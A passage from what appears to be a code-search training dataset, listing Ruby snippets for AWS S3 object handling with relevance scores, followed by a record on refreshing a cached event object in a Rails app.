resp.is_truncated \n\t\t\tparams[:continuation_token] = resp.next_continuation_token\n\t\tend\n\n\tend\n\n\treturn object_list\nend", "def initialize(folder_path, bucket, aws_key = ENV['AWS_KEY_ID'], aws_secret = ENV['AWS_SECRET'])\n @folder_path = folder_path\n @files = Dir.glob(\"#{folder_path}/**/*\")\n @total_files = files.length\n @connection = AWS::S3.new(access_key_id: aws_key, secret_access_key: aws_secret)\n @s3_bucket = @connection.buckets[bucket]\n end", "def load_from_s3(bucket)\n suspended = s3_object(\"suspended.json\").read\n return JSON.parse(suspended)\n end", "def get_files_for_download\n files_to_download = {}\n s3_files = []\n \n # S3\n get_s3_files do\n @s3_log_reader = ::Logical::Naf::LogReader.new\n s3_files = retrieve_log_files_from_s3\n end\n\n # Add S3 files to the hash, mapping them to true (need to read from s3)\n s3_files.each do |file_to_add|\n files_to_download[file_to_add] = true\n end\n\n return files_to_download unless record_id.present?\n\n # Non-S3\n if File.directory?(\"#{::Naf::PREFIX_PATH}/#{::Naf.schema_name}/jobs/#{record_id}\")\n files = Dir[\"#{::Naf::PREFIX_PATH}/#{::Naf.schema_name}/jobs/#{record_id}/*\"]\n else\n return files_to_download\n end\n\n if files.present?\n # Sort log files based on time and add them the hash (mapped to false)\n files.sort { |x, y| Time.parse(y.scan(DATE_REGEX)[0][0]) <=> Time.parse(x.scan(DATE_REGEX)[0][0]) }.each do |file_to_add|\n files_to_download[file_to_add] = false\n end\n end\n\n return files_to_download\n end", "def s3_resource(**opt)\n client = opt[:client] || s3_client(**opt)\n Aws::S3::Resource.new(client: client)\n end", "def object_details(bucket_name:, key:)\n s3_client.get_object(bucket: bucket_name, key: key).to_h\n end", "def bucket\n begin\n # Find existing bucket:\n bucket = service.buckets.find(s3_bucket)\n rescue ::S3::Error::NoSuchBucket => e\n # Apparently the bucket doesn't exist yet, so create a new one:\n bucket = service.buckets.build(s3_bucket)\n bucket.save\n end\n bucket.retrieve\n end", "def download_s3_file(image_info, *sightings_count)\n\n folder = image_info[0]\n filename = image_info[1]\n bucket = \"prototype-jv\"\n s3_file_path = \"#{folder}/#{filename}\"\n\n if sightings_count\n sightings_count = sightings_count[0]\n subdirectory = folder.split(\"/\")[1]\n sightings_dir = create_directory(subdirectory, sightings_count)\n swap_file = \"#{sightings_dir}/#{filename}\"\n else\n swap_file = \"./public/swap/#{filename}\" # use when running via app.rb\n # swap_file = \"../public/swap/#{file}\" # use when running locally from /lib/s3_bucket.rb\n end\n\n s3 = connect_to_s3()\n file = File.new(swap_file, 'wb')\n s3.get_object({ bucket:bucket, key:s3_file_path }, target: swap_file)\n file.close if file\n\nend", "def list_bucket_objects(s3_client, bucket_name, max_objects = 50)\r\n if max_objects < 1 || max_objects > 1000\r\n puts 'Maximum number of objects to request must be between 1 and 1,000.'\r\n return\r\n end\r\n\r\n objects = s3_client.list_objects_v2(\r\n bucket: bucket_name,\r\n max_keys: max_objects\r\n ).contents\r\n\r\n if objects.count.zero?\r\n puts \"No objects in bucket '#{bucket_name}'.\"\r\n return\r\n else\r\n if objects.count == max_objects\r\n puts \"First #{objects.count} objects in bucket '#{bucket_name}':\"\r\n else\r\n puts \"Objects in bucket '#{bucket_name}':\"\r\n end\r\n objects.each do |object|\r\n puts object.key\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error accessing bucket '#{bucket_name}' \" \\\r\n \"or listing its objects: #{e.message}\"\r\nend", "def bucket_meta_objects(bucket_name, *args)\n options = {\n :delimeter => nil,\n :marker => nil,\n :max_keys => nil,\n :prefix => nil\n }\n options.merge!(args.pop) if args.last.is_a? Hash\n\n path = \"/?\"\n path << \"delimeter=#{options[:delimeter]}&\" if !options[:delimeter].nil?\n path << \"marker=#{options[:marker]}&\" if !options[:marker].nil?\n path << \"max-keys=#{options[:max_keys]}&\" if !options[:max_keys].nil?\n path << \"prefix=#{options[:prefix]}&\" if !options[:prefix].nil?\n path.gsub!(/[&]$/, '')\n\n hpr = Hpricot(connection.get(path, bucket_name))\n hpr.search(\"contents\").map do |el|\n BucketMetaObject.new(\n {\n :bucket_name => bucket_name,\n :key => el.search(\"key\").inner_html,\n :last_modified => el.search(\"lastmodified\").inner_html,\n :e_tag => el.search(\"etag\").inner_html,\n :size => el.search(\"size\").inner_html,\n :storage_class => el.search(\"storageclass\").inner_html,\n :owner_id => el.search(\"id\").inner_html,\n :owner_display_name => el.search(\"displayname\").inner_html\n }\n )\n end\n end", "def list_objects(key)\n\n puts \"Objects in bucket #{@bucket_name}/#{key}:\"\n files = @client.buckets[@bucket_name].objects.with_prefix(key)\n\n resp = files.each do |o|\n puts \"\\t#{o.key} => #{o.etag}\"\n end\n end", "def show_item_path\n unless $list_Item.curselection.empty?\n idx = $list_Item.curselection\n idx = idx[0]\n $bucket_item = $bucket_items[idx]\n $bucket_string = \"https://s3-#{$region}.amazonaws.com/#{$bucket}/#{$bucket_item}\"\n $save_file_button.state = 'normal'\n $delete_file_button.state = 'normal'\n $item_public_read.state = 'normal'\n $item_public_write.state = 'normal'\n $item_text.delete('1.0','end')\n $item_text.insert 'end',$bucket_string\n resp = $s3.client.get_object_acl(bucket: $bucket,key: $bucket_item)\n if resp.grants[1]\n get_permission = resp.grants[1].permission\n if get_permission == 'READ'\n $item_public_read.select()\n end\n end\n if resp.grants[2]\n get_permission2 = resp.grants[2].permission\n if get_permission2 == 'WRITE'\n $item_public_write.select()\n end\n end\n else\n Tk.messageBox('type' => 'ok',\n 'icon' => 'error',\n 'title' => 'Object Select',\n 'message' => 'You need to select a Object')\n end\n end", "def list_files(bucket)\n response = @client.list_objects_v2(bucket: bucket)\n response.contents\n end", "def s3_object\n @s3_object ||= AWS::S3::S3Object.find(key, bucket) if self.class.open_aws && key\n rescue\n nil\n end", "def get_version(fdir)\n file_version = File.join fdir, \"version\"\n s3_read(file_version)\n rescue Aws::S3::Errors::NoSuchKey\n nil\n end", "def retrieve_file(name, specific_file)\n msg \"retrieving a #{name} backup from S3\"\n objects = AWS::S3::Bucket.find(bucket_name(name)).objects\n raise \"No #{name} backups to retrieve\" if objects.size < 1\n \n o = objects.find{|o| o.key == specific_file}\n raise \"Could not find the file '#{specific_key}' in the #{name} bucket\" if o.nil? && !specific_file.nil?\n key = specific_file.nil? ? objects.last.key : o.key\n msg \"retrieving archive: #{key}\"\n File.open(key, \"wb\") { |f| f.write(AWS::S3::S3Object.value(key, bucket_name(name))) } \n msg \"retrieved file './#{key}'\"\n end", "def retrieve_file(name, specific_file)\n msg \"retrieving a #{name} backup from S3 using bucket: #{bucket_name(name)}\"\n if specific_file.nil?\n objects = AWS::S3::Bucket.objects(bucket_name(name), :max_keys => 100)\n return if objects.empty?\n specific_file = objects.last.key\n end\n \n open(\"#{ENV['RESTORE']}/#{specific_file}\", 'w') do |file|\n AWS::S3::S3Object.stream(specific_file, bucket_name(name)) do |chunk|\n file.write chunk\n end\n end\n msg \"retrieved file #{ENV['RESTORE']}/#{specific_file}\"\n end", "def add_files(listing, path)\n listing.contents.each do |entry|\n key = from_base(entry.key)\n new_entry = entry_for(key, entry.size, entry.last_modified, false)\n @entries << new_entry unless strip(key) == strip(path) || new_entry.nil?\n end\n end", "def []( bucket_name, opts = {} )\n jbucket = @jservice.get_bucket( bucket_name )\n S3Bucket.new( self, jbucket, opts )\n end", "def punch\n s3 = Aws::S3::Resource.new(region: ENV['S3_REGION'])\n obj = s3.bucket(ENV['S3_BUCKET']).object(@name)\n \n begin\n # Upload the file\n obj.upload_file(\n @file.path,\n content_type: MimeMagic.by_path(@file.path).type,\n acl:'public-read'\n )\n rescue => e\n Rails.logger.error { \"#{e.message} #{e.backtrace.join(\"\\n\")}\" }\n return false\n end\n \n # Create an object for the upload\n return upload = {\n file_name: obj.key,\n file_url: obj.public_url,\n file_type: obj.content_type,\n file_size: obj.size\n }\n \n end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n object_content = 'This is the content of my-file.txt.'\r\n target_bucket_name = 'doc-example-bucket1'\r\n target_object_key = 'my-file-1.txt'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n puts 'Available buckets:'\r\n list_buckets(s3_client)\r\n\r\n if bucket_created?(s3_client, bucket_name)\r\n puts \"Bucket '#{bucket_name}' created.\"\r\n else\r\n puts \"Bucket '#{bucket_name}' not created. Program will stop.\"\r\n exit 1\r\n end\r\n\r\n if bucket_created?(s3_client, target_bucket_name)\r\n puts \"Bucket '#{target_bucket_name}' created.\"\r\n else\r\n puts \"Bucket '#{target_bucket_name}' not created. Program will stop.\"\r\n exit 1\r\n end\r\n\r\n if object_uploaded?(s3_client, bucket_name, object_key, object_content)\r\n puts \"Object '#{object_key}' uploaded to bucket '#{bucket_name}'.\"\r\n else\r\n puts \"Object '#{object_key}' uploaded to bucket '#{bucket_name}'. \" \\\r\n 'Program will stop.'\r\n exit 1\r\n end\r\n\r\n puts \"Objects in bucket '#{bucket_name}':\"\r\n list_objects(s3_client, bucket_name)\r\n\r\n if object_copied?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n target_bucket_name,\r\n target_object_key\r\n )\r\n puts \"Object '#{object_key}' copied to bucket '#{target_bucket_name}' \" \\\r\n \"as object '#{target_object_key}'.\"\r\n else\r\n puts \"Object '#{object_key}' not copied to bucket '#{target_bucket_name}' \" \\\r\n \"as object '#{target_object_key}'.\"\r\n end\r\n\r\n if object_deleted?(s3_client, bucket_name, object_key)\r\n puts \"Object '#{object_key}' deleted from bucket '#{bucket_name}'.\"\r\n else\r\n puts \"Object '#{object_key}' not deleted from bucket '#{bucket_name}'.\"\r\n end\r\nend", "def initialize\n @s3_client = Aws::S3::Client.new(region: AWS_REGION)\n @s3_resource = Aws::S3::Resource.new(\n @s3_client,\n region: @s3_client.config.region\n )\n end", "def index\n @s3images = S3image.all\n\n end", "def get(bucket, local_file=nil) # s3://BUCKET/OBJECT LOCAL_FILE\n send_command \"get\", bucket, local_file\n end", "def index\n request_for_presigned_url\n client = Aws::S3::Client.new(\n region: Rails.application.credentials.aws[:aws_region],\n access_key_id: Rails.application.credentials.aws[:access_key_id],\n secret_access_key: Rails.application.credentials.aws[:secret_access_key])\n @objects = client.list_objects({bucket:'awsprojectbuckett'}).contents\n @post_photos = PostPhoto.all\n end", "def get_s3_object(bucket_name, object_name)\n s3_client = AWS::S3.new()\n bucket = s3_client.buckets[bucket_name]\n raise S3BucketNotFoundError.new(bucket_name) unless bucket.exists?\n\n object = bucket.objects[object_name]\n raise S3ArtifactNotFoundError.new(bucket_name, object_name) unless object.exists?\n object\n end", "def open(path, encoding: self.encoding, tempdir: nil, **opts, &block)\n path = full_path(path)\n temp = Tempfile.new(File.basename(path), tempdir, encoding: encoding)\n temp.close\n\n opts = opts.merge(\n response_target: temp.path,\n bucket: name,\n key: path,\n )\n @client.get_object(**opts)\n\n File.open(temp.path, encoding: encoding, &block)\n rescue Aws::S3::Errors::NoSuchKey, Aws::S3::Errors::NoSuchBucket, Aws::S3::Errors::NotFound\n raise BFS::FileNotFound, trim_prefix(path)\n end", "def aws_S3_bucket_url_get(opts)\n if opts[:method] == :write\n opts[:obj].url_for(opts[:method], expires: 30.days, content_type: 'text/plain')\n else\n opts[:obj].url_for(opts[:method], expires: 30.days)\n end\n end", "def get_path(date)\n\n\tcloudtrail_client = Aws::CloudTrail::Client.new()\n\n\t# Expect date in YYYY-MM-DD format\n\tdate.gsub!('-', '/')\n\n\t# Get the details on there to look from the cloud trail\n\tresp = cloudtrail_client.describe_trails(include_shadow_trails: true)\n\tbucket = resp.trail_list[0].s3_bucket_name\n\tprefix = resp.trail_list[0].s3_key_prefix\n\t# region = resp.trail_list[0].home_region\n\taccount = resp.trail_list[0].trail_arn.split(':')[4]\n\n# /dcmi-cloudtrail/AWSLogs/759447159602/CloudTrail/ap-southeast-2/2015/10/21/759447159602_CloudTrail_ap-southeast-2_20151021T0300Z_e6J8uz6AyzvPhS0c.json.gz\n\t# get_object() does not want a preceeding / here. \n\tpath = \"AWSLogs/#{account}/CloudTrail/#{Options[:search_region]}/#{date}\"\n\tif prefix\n\t\tpath = prefix + \"/\" + path\n\tend\n\n\t# Figure out the region where the bucket lives. \n\t# S3 client will need to connect to this later\n\ts3_client = Aws::S3::Client.new()\n\tresp = s3_client.get_bucket_location({\n\t\t\tbucket: bucket, # required\n\t\t\tuse_accelerate_endpoint: false,\n\t\t\t})\n\tbucket_region = resp.location_constraint\n\t\n\tputs \"Using Objects in path: s3://#{bucket}/#{path}\" if Options[:verbose]\n\tresult = {\n\t\tbucket: bucket,\n\t\tprefix: path,\n\t\tregion: bucket_region\n\t}\n\treturn result\nend", "def load_checksums!\n return if @options[:noop]\n\n resp = s3.list_objects(bucket: s3_bucket, prefix: @prefix)\n resp.contents.each do |object|\n @checksums[object.key] = strip_surrounding_quotes(object.etag)\n end\n @checksums\n end" ]
[ "0.68217343", "0.6744861", "0.6474359", "0.64423645", "0.64038193", "0.63987315", "0.63371164", "0.63173354", "0.6277923", "0.62741095", "0.6269882", "0.6229742", "0.61944556", "0.61937547", "0.61828405", "0.61804193", "0.61804193", "0.614445", "0.6107718", "0.61048836", "0.609784", "0.60642993", "0.6053513", "0.60464096", "0.60411704", "0.6021369", "0.60152197", "0.5990867", "0.5978975", "0.5956192", "0.59377617", "0.5928545", "0.5927018", "0.59089786", "0.5882575", "0.5867109", "0.5836963", "0.5825755", "0.5823679", "0.5811779", "0.57779574", "0.5771917", "0.5762999", "0.57498", "0.5747306", "0.57366383", "0.5718233", "0.56729794", "0.5665925", "0.5655165", "0.56491524", "0.56454074", "0.5640446", "0.56392026", "0.562924", "0.5612015", "0.560959", "0.5608125", "0.560473", "0.5599169", "0.5596099", "0.5564919", "0.55511343", "0.5548357", "0.55470717", "0.5542367", "0.5540564", "0.5529534", "0.55269533", "0.5513364", "0.5512973", "0.55128056", "0.5501144", "0.54960215", "0.5485843", "0.5476094", "0.54758847", "0.5474563", "0.54651445", "0.54589045", "0.5450758", "0.54479694", "0.5443755", "0.5438924", "0.5438253", "0.5437668", "0.5429494", "0.54232", "0.5417289", "0.5402779", "0.54016244", "0.5383716", "0.53758246", "0.53692555", "0.5368873", "0.5366458", "0.5355181", "0.53536004", "0.53354204", "0.53293467" ]
0.6373923
6
Upon creating or updating an event, refresh the JSON object in cache.
def delete_cache if self.id != nil && current_user != nil cache_key = "activities/Users/#{current_user.id}/#{self.class.name}/#{self.id}-#{(self.updated_at.to_f * 1000).round(0)}" Chorus.log_debug "-- BEFORE SAVE: Clearing cache for #{self.class.name} with ID = #{self.id} --" Rails.cache.delete(cache_key) return true # Prevent a missing key from the callback chain end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def event_reload(event)\n event.stack.events.reload\n event.stack.events.get(event.id)\n end", "def event_reload(event)\n event.stack.events.reload\n event.stack.events.get(event.id)\n end", "def after_create(event)\r\n expire_cache_for(event)\r\n end", "def after_update(event)\r\n expire_cache_for(event)\r\n end", "def after_create(event)\n expire_cache_for(event)\n end", "def after_create(event)\n expire_cache_for(event)\n end", "def after_update(event)\n expire_cache_for(event)\n end", "def after_update(event)\n expire_cache_for(event)\n end", "def update_cache_chain\n logger.debug \"DB ********** Touching Event #{id} ********** \"\n self.touch\n self.calendar.try(:update_cache_chain)\n end", "def update_cache\n # Does nothing...up to subclasses to implement.\n end", "def update\n self.publish_json\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.js { render :refresh, status: :created, location: [@team, @event] }\n else\n format.js { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n \n respond_to do |format|\n if @event.update_attributes(params[:event])\n flash.now[:notice] = 'Event was successfully updated.' \n\n puts \"Event updated: #{@event.inspect}\"\n \n # Check for an event status change\n if !params[:event][:status].blank? and @event.status != params[:event][:status] \n StatusException.delete_all({:event_id=>@event.id})\n end\n \n if @event.status_archived?\n # deselect this event if it is set to archived\n force_set_selected_event(nil) if load_event.id = @event.id\n else\n force_set_selected_event(@event)\n end\n \n # The event stored in REDIS will now be out of date. Update it for all users not just the guy logged in!\n # Not using redis anymore so this isn't a problem anymore. See event_aware update_event_for_all_users method\n # update_event_for_all_users(@event)\n \n format.html { redirect_to events_path }\n format.xml { head :ok }\n format.json { render :update do |page| \n page << \"$('#event-list').replaceWith('\" + escape_javascript(render(:partial => \"events_table\", :locals => { :events => Event.all, :table_id => \"event-list\" })) +\"');\" \n end }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render json: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n \tdata = { data: @event, status: :ok, message: \"Event was successfully updated.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def update\n if @event.update(event_params)\n render json: { location: format_event(@event) }\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n if @event.update(event_params)\n render json: @event, status: 201\n else\n render json: { message: \"Error. Error. Please try again.\"}, status: 400\n end\n end", "def update_events\n calendar_changed = @event.is_a?(Googlize) && @event.calendar != params[:event][:calendar]\n if calendar_changed\n ge = @event.fetch_google_event\n ge.destroy! if ge #prevents an error when updating a canceled event\n @event.google_event_id = nil\n end\n success = @event.update_attributes(params[:event])\n @event.save if calendar_changed\n @repeat_events.each{|event| event.save } if success\n success\n end", "def update\n update_cache\n reload\n\n self\n end", "def update\n if @event.update(event_params(params))\n render json: @event, status: 200\n else\n render :json => @event.errors, :status => 422\n end\n end", "def update_observation_cache\n Observation.update_cache(\"name\", \"lifeform\", id, lifeform) \\\n if lifeform_changed?\n Observation.update_cache(\"name\", \"text_name\", id, text_name) \\\n if text_name_changed?\n Observation.update_cache(\"name\", \"classification\", id, classification) \\\n if classification_changed?\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n expire_venue_cache()\n format.html { redirect_to admin_event_path(@event), notice: 'Event was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def refresh_cache\n @cache = build_cache\n end", "def save\n REDIS.zadd :event, id, date unless exist?\n end", "def update\n\tif @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def set_cache\n Rails.cache.write(Service.cache_key,JSON.parse(params[:newest]))\n render :text => 'New cache!'\n end", "def update\n if @event \n @event.attributes = params[:event]\n render :update do |page|\n if @event.save\n page << \"$('#calendar').fullCalendar( 'refetchEvents' )\"\n page << \"$('#desc_dialog').dialog('destroy')\" \n else\n page.alert(\"Error : #{@event.errors.full_messages}\")\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_events\n # TODO: handle simple \"date\" in \"all day\" events\n google_updated_events = get_updated_events\n current_user.events.destroy_all\n if google_updated_events.length > 0\n google_updated_events.each do |event|\n new_event = current_user.events.find_or_create_by(g_id: event.id)\n new_event.update_attributes!({\n 'g_id' => event.id,\n 'summary' => event.summary,\n 'description' => event.description,\n 'start' => event.start ? event.start[\"dateTime\"] : nil,\n 'end' => event.end ? event.end[\"dateTime\"] : nil,\n 'location' => event.location\n })\n end\n end\n end", "def save\n MoxiworksPlatform::Event.update(self.to_hash)\n end", "def update_cache(obj)\n save_cache(obj)\n end", "def refresh!\n ckm_touch(self.datasource.analytics_cache_key)\n self.data\n end", "def update\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_event(event)\n key = event.key\n return unless @queue.has_key?(key)\n @updated_keys << key\n end", "def update_cache(type, id, data)\n end", "def update_cache(type, id, data)\n end", "def update\r\n @event.update(event_params)\r\n end", "def update\n @event = Event.find(params[:id])\n @event.tags.clear()\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def after_create(entry)\n expire_cache_for(entry)\n end", "def event_reload(event)\n raise NotImplementedError\n end", "def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end", "def create\n assign_new_event\n if @event.save\n expire_cache\n flash[:notice] = \"Created #{@event.name}\"\n redirect_to edit_admin_event_path(@event)\n else\n flash[:warn] = @event.errors.full_messages.join\n render :edit\n end\n end", "def update_cache(type, id, data)\n end", "def update\n # don't need to update; hash is shared\n end", "def update\n parse_dates\n @event = Event.find(params[:id])\n @event.approved = params[:event][:approved]\n @category = @event.categories.first\n @categories = Category.order('name')\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n clear_zend_cache\n format.html { redirect_to(@event, :notice => 'Event was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(params[:event])\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :ok }\n else\n\t\t\t\t# reload the js so the map renders\n\t\t\t\t# have to format dates this way so js datetime picker read them properly\n\t\t\t\tgon.start_date = @event.start.strftime('%m/%d/%Y %H:%M') if !@event.start.nil?\n\t\t\t\tgon.end_date = @event.end.strftime('%m/%d/%Y %H:%M') if !@event.end.nil?\n\t\t\t\tgon.marker_lat = @event.lat\n\t\t\t\tgon.marker_lon = @event.lon\n\t\t\t\tgon.edit_event = true\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @creating = false\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to event_path(@event),\n notice: 'El Evento ha sido actualizado correctamente!' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_stored_data(t = Time.now.utc)\n stored_data.delete(stored_data_last_key) unless stored_data.keys.length == 1\n stored_data[t] = showback_event.data\n save\n end", "def after_update(resume) \n expire_cache_for(resume) \n end", "def update\n if(@check)\n @evento.update(event_params.except(:token))\n if @evento.save\n #first we delete all the current images if there are\n if params[:event_image_data]\n @evento.event_images.each do |image|\n image.destroy\n end\n #then we will create new ones\n params[:event_image_data].each do |file|\n @evento.event_images.create!(:image => file)\n end\n end\n render json: @evento, status: :ok, location: @evento\n else\n render json: @evento.errors, status: :unprocessable_entity\n end\n end\n end", "def on_object_metadata_updated(event)\n return unless resource? event[:object]\n Hyrax.index_adapter.save(resource: event[:object])\n end", "def update\n @event.update(event_params) \n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def gcupdate_event\n cal_event = Event.find_by(gamecall_tag: self.id)\n if cal_event.title != self.title || cal_event.start_time != self.start_time || cal_event.end_time != self.end_time\n cal_event.update :title => self.title, :start_time => self.start_time, :end_time => self.end_time \n end \n end", "def update_cache\n if $redis.set(\"#{self.class.table_name}/#{self.id}\", self.to_json) == \"OK\"\n true\n else\n false\n end\n end", "def reload!\n if saved?\n response = GoodData.get(uri)\n @json = response\n end\n self\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n @event.delay.call_notification(I18n.t('Notification.event_updated'), I18n.t('Email.event_updated'))\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n # @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end", "def patch_event\n user_id = params[\"user_id\"]\n group_id = params[\"group_id\"]\n event_id = params[\"event_id\"]\n\n #TODO Handle 404 if event not found\n event = Event.find(event_id)\n\n json_body = JSON.parse(request.body.read)\n\n @@event_service.patch_event(json_body, user_id, group_id, event_id)\n\n render status: :ok, text: \"\"\n end", "def set_event\n @event = Event.find_by_id(params[:id])\n @event = {} if different_user?(@event)\n end", "def after_update(entry)\n expire_cache_for(entry)\n end", "def update\n @event.update(event_params)\n end", "def refresh\n load if changed?\n end", "def update\n logger.debug 'LOG: Admin event update'\n respond_to do |format|\n if @event.image_link_change\n if @event.update(event_params)\n expire_venue_cache()\n format.html { redirect_to admin_event_path(@event), notice: 'Event was successfully updated.' }\n send_confirmation(@event)\n else\n format.html { render :edit }\n end\n elsif @event.update(event_params_without_image)\n expire_venue_cache()\n format.html { redirect_to admin_event_path(@event), notice: 'Event was successfully updated.' }\n send_confirmation(@event)\n else\n format.html { render :edit }\n end\n end\n end", "def reset_events_cache\n Event.where(target_id: self.id, target_type: 'Post').\n order('id DESC').limit(100).\n update_all(updated_at: Time.now)\n end", "def set_event\n begin\n @event = Event.find(params[:id])\n rescue\n render json: @event, status: :not_found\n end\n end", "def update\n return redirect_to root_path unless user_event?\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html do\n gon_data\n render :edit\n end\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @events = args[:events] if args.key?(:events)\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n @event.update(status: \"Pending\")\n else\n @reopen = true\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.html { render :show }\n end\n end\n end", "def edit_event(event_info_hash) \n\t\tif event_info_hash.has_key?(:name)\n\t\t\tnew_name = event_info_hash[:name]\n\t\t\treturn ERR_INVALID_NAME if new_name.blank? || new_name.length > NAME_MAX_LENGTH\n\t\t\tself.name = new_name\n\t\t\tself.update_attribute(:name, new_name)\n\t\tend\n\t\tif event_info_hash.has_key?(:time)\n\t\t\tnew_time = event_info_hash[:time].to_i\n\t\t\t\treturn ERR_INVALID_TIME if new_time.blank? || (new_time < DateTime.now.ago(60*15).to_i)\n\t\t\tself.time = new_time\n\t\t\tself.update_attribute(:time, new_time)\n\t\t\tbegin\n\t\t\t\tNotifyHandler.task_scheduler.unschedule(self.scheduler_job_id) if self.scheduler_job_id != -1\n\t\t\trescue \n\t\t\tend\n\t\t\t# Schedule a notification only if the event is starting more than 10\n\t\t\t# minutes from now. \n\t\t\tif (self.time > (DateTime.now.to_i + 10*60))\n\t\t\t\ttime_string = Time.at(self.time).to_datetime.to_formatted_s(:rfc822)\n\t\t\t\tnotify_job_id = NotifyHandler.task_scheduler.in time_string, NotifyHandler\n\t\t\t\tNotifyHandler.add_job_mapping(notify_job_id, self.id)\n\t\t\tend\n\t\tend\n\t\tif event_info_hash.has_key?(:description)\n\t\t\tself.description = event_info_hash[:description]\n\t\t\tself.update_attribute(:description, self.description)\n\t\tend\n\t\tif event_info_hash.has_key?(:location)\n\t\t\tself.location = event_info_hash[:location]\n\t\t\tself.update_attribute(:location, self.location)\n\t\tend\n\t\treturn SUCCESS\n\tend", "def update\n @event_type = EventType.find(params[:id])\n\n respond_to do |format|\n if @event_type.update_attributes(params[:event_type])\n\t\t\t\tmsg = I18n.t('app.msgs.success_updated', :obj => I18n.t('app.common.event_type'))\n\t\t\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n format.html { redirect_to admin_event_type_path(@event_type), notice: msg }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def refresh!\n load if changed?\n end", "def update\n event_id = params[:id]\n if event_id.present? && params[:event].present? && @user.uuid.present? && @user.uuid != \"guest\"\n event_params = params[:event]\n @event = Com::Nbos::Events::Event.where(id: params[:id], user_id: @user.id ).first\n if @event.present?\n @event.update(event_params.permit!)\n if @event.save\n render :json => @event\n else\n data = add_error_messages(@event)\n render :json => data\n end\n else\n render :json => {\"messageCode\": \"module.user.unauthorized\", \"message\": \"Unauthorized to update others Event\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def update\n #@event = Event.find(params[:id])\n \n venue_id = params[:venue_id]\n venue = VenuesController.getVenueInformation(venue_id, @tokensHash[FourSquareProvider.service_name].access_token)\n \n \n create_event_hash = createFacebookEvent(@tokensHash[FacebookProvider.service_name].access_token,\n name,\n venue)\n #self.createFacebookEvent(oauth_token=\"\", name=\"Home\", 